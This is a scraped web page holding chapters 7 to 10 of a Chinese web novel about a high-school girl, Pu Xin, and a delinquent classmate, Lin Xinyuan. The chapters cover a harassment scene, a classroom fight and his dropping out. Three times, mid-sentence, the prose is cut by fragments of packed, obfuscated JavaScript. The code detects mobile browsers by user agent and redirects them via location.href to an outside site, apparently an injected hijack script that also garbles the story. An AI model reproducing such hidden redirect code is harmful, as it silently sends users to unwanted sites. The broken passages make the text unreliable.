“不熟个p！”洪强说：“我刚才就拉了下他的手，林昕远那个架势看起来要打老子一样，还不是女朋友呢，我艹！你早点不和老子说？” 他这么一夸张，确实显得朴芯和林昕远之间有什么。 朴芯不想罗茜误会，可她也清楚洪强能放过她是因为林昕远，所以不想当着这么多人的面解释，就轻拉罗茜衣服低声说：“他刚在在卫生间门口想拉我，被林昕远看见了，说我们挡路。” 罗茜半懂不懂，她知道洪强是什么秉性，约莫也猜到了点事情经过，过去伸手玩笑般打了下洪强说：“还不是怪你，没追到人家还动手动脚的，少误会了。” 她言之凿凿，洪强半信半疑：“真不是？” “当然不是，”罗茜说。 “既然不是刚才林昕远搞哪一出干什么？” “他那个脾气你挡路了他当然要说，”罗茜环视一圈问：“他在哪？” 朴芯没跟着过去，她转身想走，洪强叫住她：“来都来了喝两杯呗妹妹？” 冯江今天也在，他手臂上缠了纱布，三角眼，下巴很尖，凑在洪强的身边说：“哥，他肯定故意让你难堪。” 洪强其实很早认识林昕远，不仅认识，前不久他们还刚打过一架，就是因为冯江。 冯江是洪强手底下的一个小弟，在职校读书，两人还有些亲戚关系，前几天他在网吧和乔宇有冲突，约了一架。 按理说以冯江平时对洪强的孝顺程度，小弟有事他肯定要第一个出马，但当天洪强并没有来，原因就在林昕远身上。 在陇县，林昕远不至于特别出名，但至少陇县一高这一片的人都认识他。 ——混子，打起架不要命，惹到他算是染上大麻烦了。 洪强不想因为冯江惹上麻烦，但也不代表他特别怕林昕远。 他混，林昕远也混，但总要分个强弱，不然别人还以为他洪强没种。 而且像林昕远那种天不管地不服，谁都不给面子的主，早就有人看他不顺眼了，洪强自然也是。 除了冯江之外，林昕远不止打过他一个小弟，今天再被他这么一搞，洪强喝多了酒更是火大，他当即一脚踹在桌上，问朴芯：“我问你，林昕远到底是不是你男朋友？” 朴芯刚才想走没走掉，硬是被旁边一个男生拉住。 但还没等她开口，背后有人摁了下肩膀，像是在借力一样往前走，其实朴芯在他还没走上前时就感觉到了这人是谁。 非常肯定的直觉——林昕远。 果然是他，林昕远还没有看朴芯，他过来给洪强递了根烟。 林昕远这人虽然打架不要命，但有时候在人际关系上还挺会做人的，对你好的时候真感觉像对兄弟一样。 就像洪强，林昕远虽然打了他很多小弟，不给面子的时候说动手就动手。 但是有时又愿意给他递支烟，讲两句话，颇有点阴晴不定的意思。 每次搞得洪强自己举棋不定，翻脸也不是，不翻脸也不是。 林昕远这支烟一递，洪强的火气瞬间下去点。 说白了，像林昕远这类人身上会有种独特的魅力，不管他干什么，别人都很愿意和他亲近，比起当敌人，大家更喜欢和他做朋友。 而且毕竟长得帅，给别人面子的时候能自动把对方抬高三分。 洪强把烟接了，说：“我TM还以为你走了。” “往哪走？”林昕远说：“你在这我不来打个招呼说不过去。” “艹，”洪强笑了，拍拍右边一个男生的肩膀让他给林昕远让座：“你坐这。” 林昕远坐下，罗茜给他倒了一杯酒，问他：“你去哪了，我过生日你都不来？” “没时间。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387077|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 罗茜顿时气结，“你哪里没时间了，是不是魏颖在和你们一起吃饭？” 林昕远说：“和谁吃饭都没你事。” 一番渣男发言引得桌上的几人连连啧声，但没人真的怪林昕远。周围的人态度热切，一旁的冯江脸色顿时不好看。 聊了几句，桌上的视线才转到朴芯身上。 洪强直白地问：“这真是你女朋友还是你对她有意思，没关系我就叫她来陪我喝几杯。” 林昕远拿着酒杯看朴芯，问洪强：“你喜欢这样的？” 后者咧嘴笑：“漂亮的我都喜欢，我不像你挑三拣四。” 林昕远眯眼，好像不在意地说：“你想喝就叫她过来，别问我，没我什么事。” 这番话基本等于撇清关系，洪强招手让朴芯过来。 他刚说完，旁边的男生猛然推着朴芯往前走，她被推得趔趄一下，目光第一时间是先看向罗茜。 但罗茜似乎不在意这件事，她和刚才叫她的那个女生聊着天，压根没看朴芯这边。 朴芯的心猛然往下沉，她使劲挣手：“我要回家了。” 也许是她这句话很好笑，桌上的人顿时哄笑起来，不舒服的感觉很快在朴芯身上蔓延，她被推到洪强身边。 洪强递给她一杯酒，然后伸手就要牵她，“来来，你怕什么？” 朴芯这下反应快得朝后躲，她身后是林昕远。 大排档的座位之间间隔很小，朴芯的动作幅度大，躲的时候难免会撞到他，林昕远没什么特别反应。 倒是朴芯在碰到他的瞬间就近抓了下他的手臂，像是下意识的在寻求保护。 她手指纤细，骨节也细，林昕远今天穿着黑色外套，黑白的对比颜色格外醒目。 朴芯抓得也不重，轻微的抓握感一触即离，或许是不知道该干什么，她转过头，看林昕远。 其实这是个莫名其妙的反应，但奇怪的是，林昕远此时也偏头看了她一眼。 明明大家都坐在一起，相同的灯光，偏偏他的眼瞳感觉要比其他人的深一些，是暗的。 他被盯着，却很快收回视线，仰头喝酒。 凸起的喉结在皮肤下滚动几瞬，笼着酒杯的手指修长有力。 朴芯起身，时间此时好像刻意慢了一下，冥冥之中要她说些什么。 是暗示吗？ 但是要说什么？ 朴芯十七年来从未有一刻这么直接精准地得到内心的提醒，周围刮风，摊位前支起的塑料棚烈烈作响，起哄声咒骂声连成一片，她很快又抓住林昕远的手臂。 林昕远往下暼了眼，没动。 朴芯说：“那条手链我借给陶西红了，她说她的手链不见了会被爸妈责怪，我让她周五还我。” 林昕远笑了下，嘴角弧度尖锐。 风还在继续刮，桌上的说话声停了，世界真的静了几秒，洪强站起来拉朴芯的手。 她攥着林昕远的胳膊，想说什么又顿了下，最后咬着牙，声音艰涩， “对不起，你能帮我一下吗林昕远，拜托。” 8. 第 8 章 “拜托”这个词好像听起来要比“求”更有感觉一些。 比求更加委婉，也似乎更有礼貌。 林昕远放下酒杯，稍微往前伸腿，从口袋里摸烟和打火机，点上后把东西扔在桌上。 这边没人再说话，大家都看着他抽烟。 众目睽睽之下，林昕远抽了几口，然后开始低声笑。 声音像是从胸膛里闷出来的，磁性有力。 莫名其妙地笑了几分钟，他伸手揽过朴芯的肩膀，含着烟，模糊不清地问“不想喝酒？” 朴芯在他的动作下被迫弯腰，然后点头。 很奇怪，靠近之后林昕远身上的烟味反而不重了，只有一股冷感。 他又笑，然后伸手掰朴芯的下巴，有一点痛感。 周遭的视线在她身上巡视着，刚才瞬间的被暗示感下去之后，朴芯很快忐忑起来。 其实认真想想林昕远并没有帮她的理由，他和在场的洪强熟、和罗茜熟，唯独和朴芯素不相识，也犯不着为了她出头。 洪强一看这个情形立即不干了，“兄弟你刚才不是说你不认识她吗？” 林昕远笑着嗯了声，没解释也没否认，然后弹烟灰，就无所谓的感觉，似乎压根不在意洪强。 罗茜也朝这边看，感觉到氛围的剑拔弩张，皱眉站起身说道：“朴芯又不会喝酒，算了。” 还没等洪强说话，另外几个人马上回道：“不会喝酒学学就会了。” “倒酒呗，强哥都发话了。” “可是……” 旁边人看林昕远。 他还在闲适地抽烟，似乎察觉到了朴芯的紧张僵硬，拍了拍她的肩膀。 这个动作里的安慰意味很少，林昕远随即松手，把烟摁灭在桌上：“走吧，以后问你话时学乖一点。” 他刚放手，瞬间旁边四五个男生起来，冯江更是往前了两步，跃跃欲试。 洪强神情不善：“林昕远，你什么意思？” “没意思。” “你这还叫没什么意思，你拿我当猴耍呢？” “我说你没意思，”林昕远伸手推了一把朴芯，她才反应过来，拔腿往店外跑。 穿梭在周围狭窄的空隙里，冷风裹挟着空气间的灰土涌进鼻腔。 刺痛，冰冷，她往前跑了好远才红着眼睛回头。 那条街已经离的远了，在视线里缩成一片隔着黑暗的微弱亮光。 朴芯放缓脚步，喘着气往前走，鼻腔的刺激感还没有褪去，她走着走着，又忽然回头看。 夜幕低垂，更暗的云浮在半空中，天上有许多闪烁的星星，整个陇县笼罩在黑夜里，但她知道林昕远在那里。 后来很多个瞬间，朴芯看到星空就会想起陇县，想起林昕远。 想为什么只有他特殊。 没有为什么，原因可能仅仅只是在于他站在那里，便不需要更多的理由修饰。 那是23年11月中旬。 * 朴芯不知道那天林昕远和洪强有没有打起来。 她回去写了会作业就去睡觉。 第二天林昕远没来上课，又过了三天他才出现在教室。 还是早上，朴芯进教室时发现他在里面睡觉。 他好像对温度的感知很低，天气很冷，教室其他学生都穿上了厚外套，朴芯甚至都开始穿薄羽绒服了，林昕远居然只套了件校服。 一高的校服只有三件套，秋季外套外加短袖长裤，外套很薄，偷工减料的一层布，防晒效果远大于保暖。 朴芯一时间不知道是该先感叹无缘无故林昕远居然会穿校服，还是先感叹他不冷吗？ 那天过后朴芯本来想找个机会感谢林昕远，但一直没有机会，今天他好不容易来学校，上课时朴芯总是时不时地分心关注他什么时候醒。 后面的座位一直很安静，直到第三节英语课中途才传出微弱的动静。 指关节1敲击桌子的轻微“嗒”声，持续一会又很快重新安静。 朴芯数着时间想回头和他说话，可是还没等到下课铃声响，林昕远提前三分钟走了。 朴芯回头只看见他书包大大咧咧地摆在桌上，但直到下午也没再见到他人影。 不知道是不是在隔壁班？ 下午第四节课课间，朴芯去走廊尽头接水时路过二班往里面看了眼。 林昕远好像不在。 吴若莹在一班后窗前拉开窗户朝这边喊：“朴芯，帮我去办公室拿一下物理试卷，谢谢了。” 吴若莹是物理课代表，她今天有些不舒服，一整天都没出班级。 朴芯说好，接完水干脆拿着水杯去办公室。 物理办公室在教学楼对面，朴芯拿好试卷回来的途中刚好打预备铃，她赶紧匆忙跑上楼。 爬到二楼时视线几个人影一闪而过，朴芯愣了下，后退两步回头看。 走廊尽头聚着五六个男生，虽然穿着校服，但看脸明显是社会上的人，而且为首的朴芯很熟悉。 几个人没注意到她，约莫是上课铃声响了，都一窝蜂地往外连廊处躲。 朴芯匆忙收回视线，一口气跑回教室把试卷递给吴若莹。 吴若莹说了声谢谢，朴芯点点头说没事，她往座位上走，后面的位置还在空着。 难道是已经回家了？ 朴芯还在想，结果林昕远和物理老师同时踩点进班。 他手上拎着一瓶不知道从哪弄来的冰可乐，拉开椅子，讲台上老师转身写东西，朴芯顿了顿，趁机回头说， “我刚才在二楼走廊看到上次和洪强一起吃饭的人了，穿着校服，应该是他们。” 这还是朴芯第一次上课讲话，林昕远正在翻书，这个学期都上一半了，他书上还是干干净净。 猝不及防抬起头，然后毫无压力地嗯了声。 朴芯：“……” 朴芯小声地问：“他们是来找你的吗？” 林昕远难得穿一次校服，从早上都现在还没适应，抬手把拉链拉开说：“可能吧。” 他对衣服连扯带拽的，里面校服本来就只扣了两颗扣子，又被他扯掉一个，露出一小片麦色皮肤和一截嶙峋的锁骨支着。 讲台上老师已经转身了，朴芯踌躇几秒轻声地问：“那他们要是找你的话，你没事吧，用不用告诉老师？” 林昕远扯完衣服接着翻书，来回翻了四五页，还有功夫去看讲台上老师在讲什么内容。 物理老师是位中年人，话少，但是板书写的格外多。 才一会功夫，黑板上密密麻麻全是粉笔写的公式，林昕远和它们彼此眼生，他拿过旁边的可乐喝了几口，问：“他讲的哪一章？” 朴芯：“……” 朴芯伸手帮他把书翻好，锲而不舍地问：“你要不要早一点走？” 她之前没接触过这样的事情，表现的十分紧张，说的话在林昕远听来有点过于远古的质朴感。 ——他从小学开始就没逃过群架了。 “你很关心我？”林昕远问。 林昕远寻思自己问的也不是你爱不爱我这种问题，但朴芯一下手足无措起来，她连忙摆摆手，又不好意思说，解释：“不是关心，但是他们这么多人，你有没有危险，我就是……” 就是什么？其实朴芯内心还是不太想和林昕远扯上关系。 可是如果不是关心的话为什么要说这么多，好像说出来确实有这种意味。 但是她又不愿意明着承认。 朴芯语无伦次了，支吾不清。 倒是把林昕远逗笑了，其实他还挺容易笑的，就是笑起来态度仍然不怎么样，伸腿踹了下朴芯的椅子说：“话都说不清管的还挺多，转过去学你的习，艹。” 教室前方老师清清嗓子，叫大家翻开习题册做题。 朴芯拿着笔，这才转身。 第一道题连续看了好几遍都没懂这道题是什么意思，过了好一会，朴芯翻了下习题册，又翻过来，好一会才掩饰性地写下答案。 上完课，朴芯今天要留下来做值日生。 她扫着地，那边林昕远正在拎书包打算走人，刚直起腰，门口冯江穿着件校服从后门进来，扬声喊：“林昕远？你人呢？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387078|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朴芯心中一凛，赶紧朝林昕远看。 后者正从口袋里摸烟，见到有人叫他，眯眼重新把烟塞回口袋。 门口站着五六个人，都穿着校服，不伦不类的，为首的是冯江。 冯江和林昕远积怨已久，前几天在大排档，洪强他们还没来得及动手，林昕远那边的人就过来了。 他身边朋友也有几个，刚好都聚在一起吃饭，论打架洪强他们这边讨不到好处，硬是憋着一口气让林昕远走了。 当时林昕远那个狂劲冯江还记得。 他走就算了，悠哉悠哉地倒了杯酒，直接泼刚才那个拉朴芯过来的男生脸上了。 我艹，这人就是不怕死。 林昕远他不一定是多护着朴芯，他纯粹的挑事，一来脾气谁的面子都不给，说动手就动手。 但当时冯江当时还挺高兴的，连他这当小弟的都忍不下林昕远这股狂劲，洪强作为这片的老大肯定更忍不了。 到时候只要多撺掇几句，洪强肯定不会放过他。 果然，这不今天特意让冯江来堵他。 冯江面露不善：“林昕远，跟我们走一趟吧，洪哥要问你几句话。” “没时间，”林昕远说：“想问什么在这问。” “在这不好吧，”冯江往前了几步，他后面还有死个男生，都人高马大，“这里是你学校，我们总要给你一个面子。” 冯江他们时间挑的特别好。 一高的下午第五节课其实相当于自习课，有些班级的老师看的不严，学生往往找准时机就溜了。 林昕远的几个朋友自然也不是什么爱学习的好学生，一早就走了，连乔宇都在第四节正式课结束后就走了。 导致林昕远现在就孤身一人。 一对五，难怪冯江有恃无恐。 教室里还有几名学生，但都眼观鼻鼻观心干自己的事情， 他们班的班长也在，徐怀仁接过朴芯的扫把，见她盯着门口看，安慰地说道：“别害怕，他们一直这样。” 朴芯平时和徐怀仁没说过几句话，闻言也不好讲什么，点点头说谢谢。 那边冯江正要再开口说些什么，林昕远却猛然拉过他的头磕在旁边的桌上，巨大的一声“砰”响。 教室内外全都惊住了，谁也没想到林昕远敢在学校就动手。 还是在对面明显占优势的情况下。 反应过来后冯江暴怒朝他冲过来，“你敢打我？！去死吧你我弄不死你！” 后面的男生也闻声而动。 林昕远抬腿狠踹在前面一个黄发男生的腹部，随即一把揪住冯江的衣领朝桌上砸，他咧嘴笑了下，牙齿锋利整齐，戾气十足， “天王老子来了我照打不误，别说你一条死狗！” 冯江目眦欲裂，死死地抓住他的手想翻身，五六个人瞬间扭打在一起。 教室桌子椅子混合着周围轻声的惊呼乱成一片。 这是朴芯第一次看他打架，没有花里胡哨的架势，但拳拳到肉，动作流畅戾气。 表情沉着中却透着一股癫狂感，一打五丝毫不落下风。 直到教导主任匆匆赶来才带着保安拉开他们,冯江的脸上头上都是血，林昕远脸上也有伤。 他受的处分太多，多一个少一个也无所谓。 所以直接提着书包就走。 身后教导主任火冒三丈地冲他喊：“你是不是想退学了？！哪个做学生的像你这样混社会？！” 但林昕远压根就没回头。 走到楼下，朴芯在窗户边看见他脱掉身上那件沾血校服扔进垃圾桶。 他走了之后教导主任的火气的没地发，说了几句之后怒气冲冲地走了。 朴芯做完值日从教室出来，走到楼下的垃圾桶旁边时愣了好一会。 走了又掉回头，紧紧攥了下手指，想起今天早上看到林昕远穿校服的样子。 他不说话，低头翻书的时候有几个瞬间很像会认真写作业的学生。 朴芯踌躇一秒，伸手从垃圾桶里捡出校服。 洗干净再还给他？ 就当是感谢了。 9. 第 9 章 朴芯和班上的同学联系不多，她仅有的好友还只有罗茜和班长徐怀仁，但从他们那里也得不到任何关于林昕远的消息。 他伤的重吗？会去医院吗？ 朴芯没想到当晚还会再遇到林昕远。 她晚上写了会作业打算出门去超市买泡面，陇县中有几家不大不小的超市，离朴芯家最近的叫“美家润”，里面农药、种子、零食什么乱七八糟的都卖。 去的时候林昕远就在门口，随意的靠在柱子上，还是朴芯先看见他的。 她一直不知道林昕远住在哪，好像是和朴芯家相反的方向，陇县不大，但他们从来没有在学校之外的地方遇见过。 这是第一次。 朴芯想想，还是上前打招呼：“林昕远。” 林昕远抬头朝她看，一手插在裤子口袋，见到朴芯似乎也没太惊讶，蹙眉问：“干什么？” 他就穿了件深蓝色长袖，一截袖子撸到大臂中段，露出的手臂肌肉攀附，但有几道血痂和青紫，看起来有点可怖。 在之前朴芯其实很少在现实中看见别人受伤和打架，她顿时问：“你去医院看过吗，伤的疼吗？” 林昕远嗤笑了声，说：“你挺大阵仗啊，这点伤还要去医院？” “啊？”朴芯愣了下。 林昕远本来想让她没事别烦自己，结果抬眼看见面前的朴芯穿着薄青色的羽绒服，她扎了低盘发，散落的发丝自然地顺着脸颊垂下。 很真诚无害的感觉，像是确实在真情实感地关心别人的伤情。 这对林昕远来说还挺新鲜的。 倒也不是指他第一次被人关心，关心他的人多了去了，林昕远自己清楚他什么货色，也对自己的长相有个清晰的认知。 能让别人倒贴的那种帅哥，不是这张脸，他出门早被人砍好几回了。 就冲着他的长相，多的是人愿意关心他。 他是第一次遇到朴芯这种人。 有种分不清形势、不谙世事的稚气感。 就像现在，换个明白人早应该看出来他是打架常客，有伤没伤随便混混就算了的人，从前就算别人关心他也顶多只是提醒他包扎消毒，很少有朴芯这样上来就让人去医院的。 搞得出了多大的事一样。 林昕远隐约能感觉到她过去家境应该不错，是被娇惯着长大的那种女孩。 一点小事家长可能就着急忙慌地替她解决。 但是既然都沦落到来陇县了，还不懂变通的，用以前那副姿态生活就未免格格不入了。 林昕远好一会没说话。 他不说话朴芯就有些忐忑尴尬，还以为他没人陪，问道：“你还没去吗，要不然我陪你去吧？” 虽然他脾气很差，但毕竟他和洪强的事情也有自己的因素。 朴芯刚说完，林昕远眼皮轻垂，往下瞥了她一眼。 他比朴芯高不少，轻描淡写的一眼就能给人压迫感，朴芯因此稍微后退了半步。 踩着一双灰色的毛边鞋，眼睛也干净，浑身都是柔软清澈的感觉。 像那只兔子玩偶。 外面天冷，朴芯好像察觉到了他不想理会这个话题，又嗫嚅地问：“要不要报警，你冷吗？” 林昕远没理她前半句，轻扬下巴，“我冷你把衣服脱下来给我穿？” 朴芯：“……” 她呆了下，然后真的开始脱外套，羽绒服下面是件浅灰色的针织打底，衣摆处有条纯色的蕾丝点缀。 陇县干燥的气温导致她脱衣服时有微弱的静电电流的刺啦声，耳边的发丝也跟着漂浮。 朴芯还没脱完衣服，赶紧又腾出一只手压自己的头发，然后略显笨拙地脱下衣服，要递给林昕远。 她手放下，发丝就重新飘起来，像炸毛了，她眼睛又睁得很大，就呆呆的。 “不知道你能不能穿的下？”朴芯说。 青色的衣服，接近薄荷色，在枯燥破旧的陇县仿佛是唯一的亮色，林昕远被她搞得有点懵，舌头抵着后槽牙微眯眼。 他的五官很锐利，脸上肉很少的感觉，眼皮嘴唇都偏薄，鼻子更是毫无肉感，皮贴着骨，鼻骨高，山根也高，但整个鼻子线条起伏很漂亮，像一座峭拔的险山。 山势昂立，难以攀登。 林昕远稍微站直身体，没有接衣服，忽然骂了声艹。 朴芯听见了，她稍微攥紧衣服，不太高兴：“你为什么骂我？” 林昕远却直接把这个话题换了，问她：“晚上不在家你出来干什么？” “……”，朴芯回他：“我要买泡面吃。” “你就吃泡面？” “嗯，”朴芯想想说：“今天不想做饭。” 其实是压根不会做。 林昕远看了她一眼，没说话。 “……” 朴芯给自己找补，含糊解释：“我也会做一点饭，不做的时候就去附近吃面或者是饺子。” 她不想让别人觉得自己没法独立生活，过的太惨，特别是在林昕远面前。 他还是不说话，像是在故意给人难堪，这人的脾气真的很差劲。 朴芯不知道他在想什么，硬着头皮问：“衣服你还要吗？你不要的话我穿上了，我有些冷。” 林昕远总算点头。 朴芯又把衣服穿上，正要拉拉链听到超市门口有人叫林昕远：“昕远？昕远？” 朴芯往那边看，是位身材高挑的女子，约摸四十出头，穿着棕色风衣，背着同色系的包。 很巧，朴芯认识这个包，周婵也有一个，是大牌包，很贵，后来治病的时候出二手折价卖掉了。 她是林昕远的家人吗？可不是说林昕远没亲人，一直到处跑吗？ 朴芯也不好细问，拉上衣服拉链，顿了顿道别：“上次的事情上次的事情谢谢你，我先走了，再见——” 说完，正要走林昕远却伸手扣住她的肩膀。 刚才那个身材高挑的女子已经走到近前了，她停在不远处，仿佛是小心翼翼担心激怒他，说道：“昕远，我们该走了？” 林昕远头也没回：“你先走，我陪同学买东西，一会就回去。” “好。” 女子的声音听起来不像本地人，朴芯正想侧头看，林昕远却直接伸手掰过她下巴，“别乱看。” 他的很多动作会带来轻微的疼痛感，但是都不重。 朴芯不看了，但和林昕远一起导致她异常紧张，拿了几包泡面去结账，林昕远什么都没拿，他好像挺无所事事的，感觉就是不想刚才那个女子一起走才跟着朴芯。 朴芯回家他也一起。 半路他应该是要抽烟，但摸了口袋发现没带打火机，但是带了电子烟。 烟雾比香烟要细，不过也有味道。 朴芯的鼻炎还没好，就忍着。 晚上起雾，前方的道路朦胧着，房屋和电线杆都隐在雾气中，路灯的光晕染出一小片橘色的光亮。 林昕远的手指修长，松松垮垮地握着烟，时不时地垂手，淡白色的烟从他唇边浮出，很快和陇县的雾纠缠在一起。 没有风，林昕远也没特意和朴芯保持同样的步调，他走得比较快，走几步，朴芯落到后面，他就皱眉停下来等会。 不刻意，朴芯后面干脆加快步伐跟着他。 过会，林昕远拍拍她的肩膀，提醒说：“鞋带开了。” 朴芯顺着他手指的地方往下看。 确实散了。 朴芯怔愣一瞬，见林昕远停下在等她，就迟疑地蹲下身子。 林昕远本来也没看她，自顾自地朝着前方抽烟，结果等了一会，朴芯还没站起来，他就低头看。 这一看，看见朴芯把鞋带胡乱的扯成一团。 “……？” 林昕远乐了，问：“你不会系鞋带？” 朴芯赶紧伸手挡住鞋面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她有剃须刀是因为当时想给周婵的新男朋友送礼物，当时还是周婵和她一起去挑的，但还没等送出去，他们就分手了。 她说完，林昕远仰头。 似乎打量了朴芯几眼，起身说：“不谈是对的，你这种谈了会被人欺负死。” “老子八百年没给人系过鞋带，朴芯，你挺行的。”他扯了下嘴角，“蠢的我都看不下去。” “……” 朴芯就站在他面前，被骂了有点委屈有点不高兴，但是不知道怎么了，像是为了缓解气氛，笑了几下。 “我会学的。” 她笑起来很有特点，有很浅的梨涡，眼睛弯弯的，然后拿出一盒创可贴放到林昕远手里。 规整的方形盒子硌着手，刚才在超市林昕远还没注意到她什么时候拿上的。 电子烟亮了红灯，他也抽烦了，伸手想从口袋里掏香烟来着，但是今天没带，摸了空。 林昕远把创可贴扔还给朴芯，说了句不用，又想起什么，问：“我上次让你买的烟呢？” 朴芯一愣，他指的应该是在火车站门口那次，但朴芯当时就把烟扔了。 林昕远对此似乎清楚，又问：“买的什么烟？” 朴芯不好意思地说：“我忘记了。” 她想起有些抽烟的人会专门抽一种牌子，便又问：“你要抽什么烟？” 林昕远吐了口烟，几乎是面对面的姿势，朴芯闻到了更深更重的薄荷味。 他眯了下眼睛，说：“我抽雨花石。” 朴芯愣了下。 很巧，她只认识这种烟，之前周婵的一个朋友抽过。 她还记得是一个黄色的盒子，上面刻着龙纹图腾和夫子庙。 雨花石。 南京雨花石。 10. 第 10 章 林昕远凌晨才从外面回来，沈青在收拾东西。 其实也没什么好收拾的，除了几件衣服之外别的也不需要带上。 沈青见他回来，拉近关系般问：“刚才那个女生是你女朋友？长得蛮漂亮的。” “不是，”林昕远说：“你别管这么多。” 沈青看出来他的抵触了，也没有再接着多问，转而说道：“你看看还有什么想带的？不带的话我们到那边再买，下次要过段时间再来了。” 林昕远说：“还有什么下次？” 沈青的脸色一下僵住，但仍旧勉强维持着笑脸：“你要是愿意随时都能回来。” 那边林昕远找了块塑料布把机车盖起来，没再说话。 * 朴芯第二天清早她去买烟，付完钱，老板把烟拿给她。 朴芯接过，烟盒递给她的时候是反面，她翻了下。 果然记忆没有错。 刻着龙纹图腾和夫子庙图案的黄色烟盒上，赫然写着 ——南江雨花石。 她顿了下，好一会把烟塞进口袋往家里走。 朴芯在陇县的生活很单调，周末没事的时候基本都待在家里学习。 下午在南京的朋友给她打了电话，问她这些天过得怎么样，朴芯说还好，然后聊了一会游戏和动漫，对方要出去玩，就挂了电话。 朴芯放下手机，写完作业后起身去洗衣服。 她想等林昕远来上学的时候把衣服还给他，但一直等到周五，他也没来上学。 罗茜也没来过他们班了，周五中午吴若莹吃完饭回到教室，说：“林昕远好像不来上学了。” 她在和她前面的女生讲话，朴芯坐在旁边却一下警觉。 不来上学？ 是暂时不来还是退学了，因为上次打架的事情？ 前面的女生毫不惊讶地说：“他早该不上了，退学了？” “谁知道？”吴若莹说：“我听罗茜和乔宇说的，往后林昕远都不来了。” “他去外地打工吗？” “这个有可能，他也考不上大学，早点进厂也是出路。” 女生长叹一口气：“我也想进厂了，在这学习也没前途，还不如趁早多赚点钱呢。” …… 朴芯听到她们讲的言之凿凿，往身后的座位看了眼。 她今天才发现之前一直放在林昕远桌上的那个玩偶好像也被带走了。 之前林昕远一周至少也有两天会来学校，最长不超过三天，但这次都一周了，他还没有来。 朴芯握着笔问旁边的吴若莹：“是因为上次打架的事情吗？” 吴若莹转过头说：“当然不是，要是因为打架他早就被退学了，自己不想读了吧。” 虽然以林昕远那个作风他继续读书的意义也不大，但毕竟都高三了，不能再继续读半个学期吗？ 朴芯问：“班主任不劝劝他吗？” “又什么好劝的，人各有命，”吴若莹一点也不觉得奇怪：“上个学期隔壁班都走五六个了，早去打工了。” “哦，”朴芯愣了下，“好可惜。” 她回过头继续看书，但是怎么都看不下去。 退学、打工这两个词徘徊在脑海里，明明前几天他们还见过面，自己洗的衣服还放在书包里等着还给林昕远。 而且这个词离朴芯的生活太远了，在她的下意识里，学生就应该读完高中念大学，然后再找工作。 哪有这么早就不读书的？ 也很少有读书读到一半去打工的吧？ 真的不上学了吗？ 朴芯还是不太相信。 直到下午上刘华连的课，他从讲台上下来看同学们写的作业，到朴芯身边时，好像这个时候才看到她坏掉的桌椅。 拍了拍后来桌子讲道：“你和林昕远的桌子换换。” 朴芯瞬间愣神，问道：“老师，可是林昕远回来……” “哦，他退学了。” 刘华连想起来他还没和班上的同学说过这件事，转头讲道：“以后林昕远不来上学了，他家长前几天来办了退学手续。班长，把他从值日生表上去掉。” “好的老师，”前面徐怀仁回答。 又扫视了一圈说道：“剩下的同学要认真学习，离高考就半个学期了，大家再坚持坚持。” 班上的回应声稀稀拉拉。 刘华连也没有多说，他在这里教了很久的书，对有些事情早就看惯看淡了，拍拍手上的粉笔灰又往讲台上走。 朴芯回头看了眼空荡干净的桌子。 她好像还能记起林昕远趴在上面睡觉，其实他一天到晚除了找地方抽烟外基本都很安静。 就算乔宇他们来找他说话，他也很少开口。 每次来的时候会让人察觉到，因为他一进来，教室里就会突然安静，但是走的时候经常悄无声息的，推开教室的后门就走了。 这次也是，没有前兆，没有铺垫，朴芯没有多怀念和在意林昕远，但也确实不得不因为这份仓促到潦草的分别而产生一些感想。 明明几天前他们还说过话，林昕远还让她买烟。 没想到这么猝不及防。 朴芯也说不出来自己是什么感觉，就是心脏有点闷。 她摁摁眉心，没让自己多想，接着看书，写题目。 * 随着刘华连在班级的盖章定论，林昕远退学这件事彻底在学校里传开了。 不管是高一还是高三的，曾经那些和林昕远有过纠缠和男生女生都不辞辛苦地跑到一班来看。 看到他座位是空的，会惊奇地说一句：“哦，原来真退学了。” 有的人会在这份惊奇里加上幸灾乐祸，有的人会在里面加上怅然若失，这取决于他们和林昕远是什么关系。 大部分来找他的人会堂而皇之地进教室，在林昕远的座位上坐一会，像是把这当成景区，就比如看到龙椅，条件允许的话大家下意识地都想要坐一下，体会一下当皇帝的感觉。 他们还会抓着一班的学生问：“林昕远真的退学了？你们老师怎么说的？” 被问的最多的是朴芯。 她回过头一遍遍地对着那些见过或者没见过的学生回答：“嗯，我们老师说他已经办好了退学手续。” 之前来找林昕远地女生会接着问：“他还在陇县吗？” 朴芯说：“不知道，我们老师没说。” “啊，该不会是和谁私奔了吧？” …… 大多数人只是揣测林昕远为什么这个时候退学，退学之后去干吗，但极少有人会对“退学”这件事本身产生疑问。 就好像他退学是一个习以为常，也十分确定，就该如此的结果。 被问了很多遍之后，朴芯起身去外面接水。 走廊上也到处都是讨论这件事的学生。 这是朴芯第一次看到一高的学生集体讨论一件事，热烈活跃，当然也极尽猜想。 “去打工啊，林昕远这么拽也不就这个出路？” “我艹狂的人都在电子厂，少年好好学习吧。” “不是说他有个妈吗？” 